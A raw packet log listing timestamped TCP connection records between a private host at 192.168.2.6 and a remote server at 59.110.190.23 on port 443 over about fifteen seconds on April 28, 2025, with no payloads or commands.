Apr 28, 2025 16:40:43.836925030 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.836930037 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.836949110 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.836977959 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.836981058 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.836994886 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.837009907 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.837035894 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.837044954 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.837061882 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.837070942 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.837095976 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.837109089 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.837121964 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.837133884 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.837172985 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.837178946 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.837198019 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.837207079 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.837228060 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.837229967 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.837268114 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.837274075 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.837297916 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.837327003 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:44.173921108 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:44.173998117 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:44.174038887 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:44.174089909 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:44.174459934 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:44.174525023 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:44.174910069 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:44.174973011 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:44.175873995 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:44.175930023 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:44.175935984 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:44.175954103 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:44.175986052 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:44.176007986 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:44.176047087 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:44.176090956 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:44.176096916 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:44.176104069 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:44.176136971 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:44.176142931 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:44.176156998 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:44.176175117 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:44.176191092 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:44.176209927 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:44.176213980 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:44.176239967 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:44.176266909 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:44.176327944 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:44.176362038 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:44.176363945 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:44.176397085 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:44.176402092 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:44.176410913 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:44.176412106 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:44.176451921 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:44.176460028 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:44.176466942 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:44.176486969 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:44.176503897 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:44.176511049 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:44.176523924 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:44.176551104 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:44.176551104 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:44.176563025 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:44.176577091 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:44.176604986 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:44.176635981 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:44.176709890 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:44.176750898 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:44.176796913 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:44.176811934 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:44.176852942 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:44.176865101 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:44.176908970 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:44.176990032 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:44.177025080 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:44.177084923 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:44.177097082 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:44.177107096 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:44.177155972 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:44.384277105 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:44.384355068 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:44.506371975 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:44.506402016 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:44.506422043 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:44.506499052 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:44.506505966 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:44.506611109 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:44.614859104 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:44.614892960 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:44.614914894 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:44.615015984 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:44.615024090 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:44.615036964 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:44.615047932 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:44.615088940 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:44.615092993 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:44.615190983 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:44.615196943 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:44.615230083 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:44.615426064 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:44.615480900 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:44.615487099 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:44.615547895 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:44.820276976 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:44.820785046 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:45.248282909 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:45.248347998 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:45.894047976 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:45.894093990 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:45.894117117 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:45.894263983 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:45.894274950 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:45.894345045 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:45.913927078 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:45.913955927 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:45.913971901 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:45.914086103 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:45.914098978 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:45.914108038 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:45.914119959 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:45.914179087 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:45.914184093 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:45.914192915 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:45.914246082 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:45.914251089 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:45.914269924 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:45.914273977 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:45.914307117 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:45.914310932 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:45.914410114 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:45.914464951 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:46.079214096 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:46.079252005 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:46.079432011 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:46.104770899 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:46.104800940 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:46.104831934 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:46.104857922 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:46.105046034 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:46.105056047 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:46.105077028 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:46.105129957 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:46.105135918 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:46.105175018 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:46.105289936 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:46.312278032 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:46.312347889 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:46.325942039 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:46.325968981 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:46.325988054 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:46.326034069 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:46.326041937 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:46.326118946 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:46.363323927 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:46.363354921 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:46.363380909 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:46.363389969 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:46.363497972 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:46.363506079 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:46.363521099 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:46.363526106 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:46.363593102 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:46.363596916 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:46.363610983 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:46.363701105 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:46.363709927 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:46.363760948 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:46.363765955 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:46.363801003 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:46.363851070 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:46.568280935 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:46.568344116 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:46.662972927 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:46.663003922 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:46.663114071 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:46.706986904 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:46.707009077 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:46.707025051 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:46.707040071 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:46.707154989 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:46.707163095 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:46.707173109 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:46.707189083 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:46.707243919 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:46.707248926 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:46.707408905 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:46.707413912 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:46.707462072 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:46.707510948 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:46.912287951 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:46.912353039 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:46.993107080 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:46.993139982 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:46.993257046 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:47.031591892 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:47.031624079 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:47.031676054 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:47.031689882 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:47.031800985 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:47.031809092 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:47.031817913 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:47.031836033 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:47.031944990 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:47.031950951 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:47.031999111 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:47.032002926 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:47.032134056 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:47.032155991 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:47.236279011 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:47.236339092 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:47.332215071 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:47.332250118 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:47.332418919 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:47.375073910 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:47.375133038 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:47.375196934 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:47.375214100 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:47.375329971 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:47.375339031 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:47.375437975 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:47.375442982 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:47.375466108 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:47.375488043 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:47.375650883 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:47.375655890 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:47.375709057 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:47.375760078 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:47.375771999 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:47.580269098 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:47.580359936 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:47.663290977 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:47.663321018 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:47.663568020 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:47.705580950 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:47.705607891 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:47.705625057 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:47.705657959 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:47.705712080 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:47.705718994 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:47.705821037 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:47.705827951 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:47.705848932 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:47.705867052 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:47.706048012 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:47.706053972 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:47.706104994 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:47.706171036 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:47.912273884 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:47.912436962 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:48.225975990 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:48.226017952 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:48.226036072 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:48.226140022 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:48.324928045 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:48.324960947 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:48.324979067 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:48.324990034 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:48.324997902 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:48.325061083 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:48.325149059 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:48.850775957 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:48.910753012 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:49.507483006 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:49.507527113 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:49.676995993 CEST	49697	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:49.677104950 CEST	443	49697	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:49.677206039 CEST	49697	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:49.677494049 CEST	49697	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:49.677531958 CEST	443	49697	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:53.293395996 CEST	443	49697	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:53.293592930 CEST	49697	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:53.294154882 CEST	49697	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:53.294162989 CEST	443	49697	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:53.294348001 CEST	49697	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:53.294353008 CEST	443	49697	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:53.649509907 CEST	443	49697	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:53.649535894 CEST	443	49697	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:53.649636984 CEST	49697	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:53.649669886 CEST	443	49697	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:53.649712086 CEST	49697	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:53.986167908 CEST	443	49697	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:53.986218929 CEST	443	49697	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:53.986236095 CEST	443	49697	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:53.986303091 CEST	443	49697	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:53.986325026 CEST	49697	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:53.986464977 CEST	49697	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:53.987010956 CEST	49697	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:53.987056971 CEST	443	49697	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:54.000066042 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:54.000122070 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:54.000199080 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:54.000435114 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:54.000449896 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:55.040420055 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:55.040672064 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:55.041136026 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:55.041145086 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:55.041393995 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:55.041399002 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:55.414961100 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:55.414987087 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:55.415019989 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:55.415023088 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:55.415040970 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:55.415077925 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:55.415077925 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:55.421183109 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:55.421252012 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:55.424395084 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:55.426316977 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:57.445704937 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:57.445755959 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:57.445799112 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:57.445830107 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:57.445979118 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:57.446010113 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:57.446055889 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:57.446151972 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:57.446161985 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:57.446465015 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:57.635907888 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:57.635962009 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:57.636001110 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:57.636029959 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:57.636081934 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:57.636081934 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:57.636115074 CEST	443	49698	59.110.190.23	192.168.2.6
